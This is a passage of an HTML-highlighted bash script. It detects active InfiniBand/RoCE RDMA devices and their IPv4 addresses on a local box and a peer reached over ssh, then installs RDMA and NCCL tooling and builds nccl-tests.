&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --master-ip&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;MIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;2&lt;/span&gt;:?&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; shift ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --peer-ip&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;PIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;2&lt;/span&gt;:?&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; shift ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -h|--help&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; grep &lt;span style="color:#a5d6ff"&gt;&amp;#39;^#&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$0&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | sed &lt;span style="color:#a5d6ff"&gt;&amp;#39;s/^# \{0,1\}//&amp;#39;&lt;/span&gt;; exit &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -*&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;unknown flag: &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$1&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; *&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;PEER&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$1&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shift
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- detection (pure sysfs + iproute2 — works BEFORE any install) ---------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# Echoes three lines: DEV / NETDEV / IP (IP may be empty). Also prints a full&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# inventory of every IB device + state to stderr so you can see &amp;#34;everything&amp;#34;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;DETECT_SNIPPET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; printf &amp;#34; %-14s %-8s %-16s %s\n&amp;#34; DEVICE STATE NETDEV IPv4 &amp;gt;&amp;amp;2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; best_dev=&amp;#34;&amp;#34;; best_net=&amp;#34;&amp;#34;; best_ip=&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; for p in /sys/class/infiniband/*/ports/1/state; do
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; [ -e &amp;#34;$p&amp;#34; ] || continue
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; dev=$(basename &amp;#34;$(dirname &amp;#34;$(dirname &amp;#34;$(dirname &amp;#34;$p&amp;#34;)&amp;#34;)&amp;#34;)&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; st=$(cat &amp;#34;$p&amp;#34; 2&amp;gt;/dev/null | sed &amp;#34;s/.*: //&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; net=$(ls &amp;#34;/sys/class/infiniband/$dev/device/net&amp;#34; 2&amp;gt;/dev/null | head -1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; ip4=$(ip -4 -o addr show dev &amp;#34;$net&amp;#34; 2&amp;gt;/dev/null | awk &amp;#34;{print \$4}&amp;#34; | head -1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; printf &amp;#34; %-14s %-8s %-16s %s\n&amp;#34; &amp;#34;$dev&amp;#34; &amp;#34;$st&amp;#34; &amp;#34;${net:--}&amp;#34; &amp;#34;${ip4:--}&amp;#34; &amp;gt;&amp;amp;2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; if [ &amp;#34;$st&amp;#34; = &amp;#34;ACTIVE&amp;#34; ] &amp;amp;&amp;amp; [ -z &amp;#34;$best_dev&amp;#34; ]; then best_dev=&amp;#34;$dev&amp;#34;; best_net=&amp;#34;$net&amp;#34;; best_ip=&amp;#34;${ip4%/*}&amp;#34;; fi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; # prefer an ACTIVE device that already has an IPv4 (the live, configured rail)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; if [ &amp;#34;$st&amp;#34; = &amp;#34;ACTIVE&amp;#34; ] &amp;amp;&amp;amp; [ -n &amp;#34;$ip4&amp;#34; ]; then best_dev=&amp;#34;$dev&amp;#34;; best_net=&amp;#34;$net&amp;#34;; best_ip=&amp;#34;${ip4%/*}&amp;#34;; fi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; printf &amp;#34;%s\n%s\n%s\n&amp;#34; &amp;#34;$best_dev&amp;#34; &amp;#34;$best_net&amp;#34; &amp;#34;$best_ip&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# Pipe the snippet to bash on stdin (local) or ssh-bash (peer): no nested-quote&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# re-parsing, identical behavior both sides. stderr (the inventory) shows live;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# stdout (the 3 result lines) is captured by the caller.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;detect_local&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$DETECT_SNIPPET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | bash; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;detect_peer&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$DETECT_SNIPPET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | ssh -o &lt;span style="color:#79c0ff"&gt;BatchMode&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;yes &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; bash; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;read_detect&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;# $1=local|peer -&amp;gt; sets DEV NET IP (globals via name)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; local out; &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$1&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; local &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;out&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;detect_local&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;out&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;detect_peer&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;DEV&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$out&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | sed -n 1p&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;NET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$out&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | sed -n 2p&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;IP&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$out&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | sed -n 3p&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net30&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; local &lt;span style="color:#79c0ff"&gt;IFS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;.; read -r a b c d &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$1&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s.%s.%s.%s/30\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$a&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$b&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$c&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$((&lt;/span&gt;d &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;xFC&lt;span style="color:#ff7b72"&gt;))&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- DETECT-ONLY mode -----------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;Detecting RDMA link on this box (&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;hostname&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;read_detect local; &lt;span style="color:#79c0ff"&gt;MDEV&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$DEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;MNET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$NET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;MIP&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;MIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$IP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -n &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;no ACTIVE InfiniBand/RoCE port found on this box — is the cable seated and the link up? (check: ls /sys/class/infiniband, ip link)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; -&amp;gt; using device &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; netdev &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; ip &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;MIP&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;&amp;lt;none&amp;gt;&lt;span style="color:#a5d6ff"&gt;}${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$DETECT_ONLY&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -n &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;this rail has no IPv4 — assign one, e.g.: sudo ip addr add 10.0.0.1/30 dev &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; &amp;amp;&amp;amp; sudo ip link set &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; up&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# tooling install (apt + nccl-tests build). Defined here so --install-only can&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# run it LOCALLY on each box (avoids fragile sudo-over-SSH on a fresh install).&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;INSTALL_SNIPPET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; set -e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; export DEBIAN_FRONTEND=noninteractive
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; sudo apt-get update -qq
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; sudo apt-get install -y -qq perftest ibverbs-utils infiniband-diags rdma-core \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; libnccl2 libnccl-dev libopenmpi-dev openmpi-bin build-essential git iproute2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; if [ ! -x &amp;#34;$HOME/nccl-tests/build/all_reduce_perf&amp;#34; ]; then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; [ -d &amp;#34;$HOME/nccl-tests&amp;#34; ] || git clone --depth 1 https://github.com/NVIDIA/nccl-tests &amp;#34;$HOME/nccl-tests&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; MPI_HOME=/usr/lib/$(uname -m)-linux-gnu/openmpi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; make -C &amp;#34;$HOME/nccl-tests&amp;#34; MPI=1 MPI_HOME=&amp;#34;$MPI_HOME&amp;#34; NCCL_HOME=/usr -j&amp;#34;$(nproc)&amp;#34; &amp;gt;/tmp/ncclt_build.log 2&amp;gt;&amp;amp;1 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; || { echo &amp;#34;nccl-tests build FAILED:&amp;#34;; tail -20 /tmp/ncclt_build.log; exit 1; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; fi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt; echo &amp;#34;install-ok $(hostname)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$INSTALL_ONLY&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;Installing tooling + building nccl-tests on this box (&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;hostname&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;)&amp;#34;&lt;/span&gt;
